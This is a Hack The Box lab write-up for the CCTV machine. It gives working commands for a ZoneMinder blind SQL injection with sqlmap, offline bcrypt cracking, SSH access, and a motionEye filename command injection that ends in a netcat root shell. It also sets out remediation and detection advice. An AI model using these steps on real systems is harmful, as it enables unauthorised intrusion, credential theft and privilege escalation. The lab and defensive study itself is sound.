CCTV — ZoneMinder Blind SQL Injection to Root via motionEye Filename Command Injection
- Tools
- rustscan, feroxbuster, sqlmap, hashcat, ssh, curl, systemctl, netcat
- Skill demonstrated
- Blind SQL injection credential recovery and server-side command-injection privilege escalation against Linux camera-management services
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Easy |
| Target environment | Linux host running ZoneMinder 1.37.63 and a root-run motionEye 0.43.1b4 service |
| Starting position | Unauthenticated network access |
| Objective | Recover ZoneMinder credentials through a blind SQL injection, reach SSH access, then turn a client-side-only filename validation flaw in a root-run motionEye service into privileged command execution |
| Outcome | SSH user access via a cracked credential hash; root command execution through motionEye filename handling |
Summary
Section titled “Summary”CCTV is an Easy-rated Hack The Box Linux lab built around IP-camera management software. A blind SQL injection in ZoneMinder’s tid parameter recovers credential hashes from the Users table; one cracks offline to an SSH login. From that context an internal motionEye instance, running as root and bound to the loopback interface, accepts a filename configuration value that is validated only in client-side JavaScript, and processing that value yields root command execution. Target addresses, hostnames, account names, session data, credential hashes, flags, and payload specifics are replaced with role-based placeholders; command syntax is preserved.
Attack path: ZoneMinder blind SQL injection (tid) → credential hash recovery → offline crack → SSH user access → loopback motionEye service → client-side validation bypass → filename command injection → root
Context and Objective
Section titled “Context and Objective”- Target: a Linux host exposing SSH and an HTTP service that redirects into a ZoneMinder 1.37.63 installation under
/zm/. - Exposed services: SSH (22) and HTTP (80).
- Starting position: unauthenticated network access.
- Objective: establish user access through the camera-management web application, then assess the internal motionEye service for a privilege-escalation path.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service and Application Discovery
Section titled “1. Service and Application Discovery”Observation: a full TCP scan exposes SSH and a single HTTP service that redirects into a camera-management application.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV22/tcp: SSH80/tcp: HTTP (redirects to <TARGET_HOST> → ZoneMinder /zm/)Directory enumeration identifies the application and its version:
feroxbuster --url http://<TARGET_HOST> --wordlist <WEB_CONTENT_WORDLIST>/zm/ — ZoneMinder 1.37.63Significance: the only external surface is SSH and the ZoneMinder web application, and the specific version is disclosed in the application path — enough to target a known vulnerability in the request handling.
Result: SSH and a ZoneMinder 1.37.63 web application are the exposed services.
2. Credential Recovery via Blind SQL Injection
Section titled “2. Credential Recovery via Blind SQL Injection”Observation: ZoneMinder 1.37.63 is affected by CVE-2024-51482, a blind SQL injection in the tid request parameter, so an authenticated request can be used to read the Users table.
Action: authenticate with documented default credentials to obtain a session cookie, then point sqlmap at the vulnerable parameter.
curl -s -c cookies.txt -X POST http://<TARGET_HOST>/zm/index.php \ -d "view=login&action=login&username=<DEFAULT_USER>&password=<DEFAULT_PASSWORD>" -Lsqlmap -u "http://<TARGET_HOST>/zm/index.php" \ --data="request=event&action=removetag&id=1&tid=1" \ --cookie="<SESSION_COOKIE>" \ -p tid --dbms=mysql -D zm -T Users -C Username,Password \ --dump --batch --threads 5 --time-sec=1Dumped rows (identifiers and hashes redacted):
Database: zmTable: Users<LAB_USER_1> : <BCRYPT_HASH_1><LAB_USER_2> : <BCRYPT_HASH_2><LAB_USER_3> : <BCRYPT_HASH_3>Significance: no data is reflected in the response, but a time-based technique still extracts the table, and the Password column holds reusable bcrypt hashes rather than ephemeral tokens.
Result: three account password hashes are recovered from the ZoneMinder Users table.
3. Offline Crack and SSH Access
Section titled “3. Offline Crack and SSH Access”Observation: the recovered values are bcrypt hashes, which can be attacked offline without further interaction with the target.
Action: crack the hash file offline, then use the recovered plaintext against SSH.
hashcat -m 3200 hashes.txt <WORDLIST><LAB_USER_1> : <LAB_USER_PASSWORD>ssh <LAB_USER_1>@<TARGET_HOST>Significance: offline cracking removes any rate limit or lockout the live service might apply, so a hash disclosure becomes a usable login even without online authentication attempts.
Result: a credential pair was recovered and subsequently validated through SSH. The source records user-level access but retains no separate SSH session transcript.
4. Internal Service Discovery
Section titled “4. Internal Service Discovery”Observation: from the user shell, probing loopback ports identifies a motionEye service, and a service-status check reports its execution account.
for port in 7999 8765 9081; do curl -si http://127.0.0.1:$port 2>&1 | head -5donePort 7999: Server: motionEye/0.43.1b4systemctl status motioneyeUser=rootSignificance: the camera service is reachable only from the host itself, so it is invisible to the external scan, and it runs with root privileges — any flaw in how it handles configuration input would yield root rather than a service account.
Result: a root-run motionEye 0.43.1b4 service is identified on an internal loopback port.
5. Filename Command Injection to Root
Section titled “5. Filename Command Injection to Root”Observation: motionEye 0.43.1b4 is affected by CVE-2025-60787; the Still Images → Image File Name field is validated only in client-side JavaScript, and the value is written into motion’s configuration, where the Motion process interprets shell metacharacters.
Action: forward the internal interface over the existing SSH session, override the client-side validation in the browser console, place a shell-metacharacter value in the filename field, and trigger a snapshot while a listener waits.
ssh -L 8765:127.0.0.1:8765 <LAB_USER_1>@<TARGET_HOST> -NThe motionEye UI was accessed with the administrative credential stored in its configuration file.
configUiValid = function() { return true; };The injected filename is shown as a placeholder pattern:
$(<INJECTED_COMMAND>).%Y-%m-%d-%H-%M-%STriggering capture on the internal API:
curl http://127.0.0.1:7999/0/action/snapshotnc -lvnp <LISTEN_PORT>The listener returns a shell in the root context:
root@<TARGET_HOST>:/etc/motioneye#Significance: browser-side validation cannot protect a value that is ultimately consumed by a server-side process, and because motion runs as root, a filename containing shell metacharacters escalates from the low-privileged SSH user to root in a single step.
Result: root-level command execution is obtained through the unvalidated filename configuration.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| The motionEye interface is bound to loopback and is not externally reachable | Forwarded the port through the existing SSH session | The service is only reachable from the target host itself |
| The Image File Name field is validated only in client-side JavaScript | Overrode the validation function in the browser console before submitting the value | The server accepted the value even though the normal form blocks it |
Outcome
Section titled “Outcome”The evidence establishes root-level command execution on the target through a configuration field that is validated only in the browser. Limitation: the injected payload is shown as a placeholder pattern rather than a literal.
Lessons and Recommendations
Section titled “Lessons and Recommendations”Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.
- Blind SQL injection in a request parameter. The
tidparameter of/zm/index.phpreached a SQL query without adequate handling, allowing theUserstable and its bcrypt hashes to be dumped. Recommendation: update ZoneMinder past the fixed release and use prepared statements or parameterized queries for every database-backed request parameter. Detection: monitor for slow, repetitive requests to a single endpoint consistent with time-based extraction. - Client-side-only input validation. The Image File Name field was validated only in browser JavaScript, so the value reached the server unchanged and was written into motion’s configuration. Recommendation: validate all configuration input on the server and reject shell metacharacters before a value is written to configuration. Detection: alert on configuration changes whose values contain shell metacharacters.
- Privileged surveillance daemon. motionEye and motion ran as root, so a filename-handling flaw produced root code execution instead of access limited to a service account. Recommendation: run the camera services under a dedicated least-privilege
motioneyeaccount that holds only the device access it needs, such as membership in thevideogroup. Detection: audit long-running services for unnecessary root execution.
References
Section titled “References”- Hack The Box — CCTV (retired machine)
- NVD — CVE-2024-51482 (ZoneMinder blind SQL injection)
- ZoneMinder security advisory — GHSA-qm8h-3xvf-m7j3 (vendor advisory for CVE-2024-51482)
- NVD — CVE-2025-60787 (motionEye OS command injection via configuration parameters)
- motionEye security advisory — GHSA-j945-qm58-4gjx (vendor advisory for CVE-2025-60787)
- RustScan (fast port scanner)
- feroxbuster (content discovery)
- sqlmap (automated SQL injection and database extraction)
- Hashcat (offline password recovery, including mode 3200 for bcrypt)
- OpenSSH manual pages (SSH client and port forwarding)
- curl — manual page (HTTP requests and responses)
- systemctl — systemd manual (service status inspection)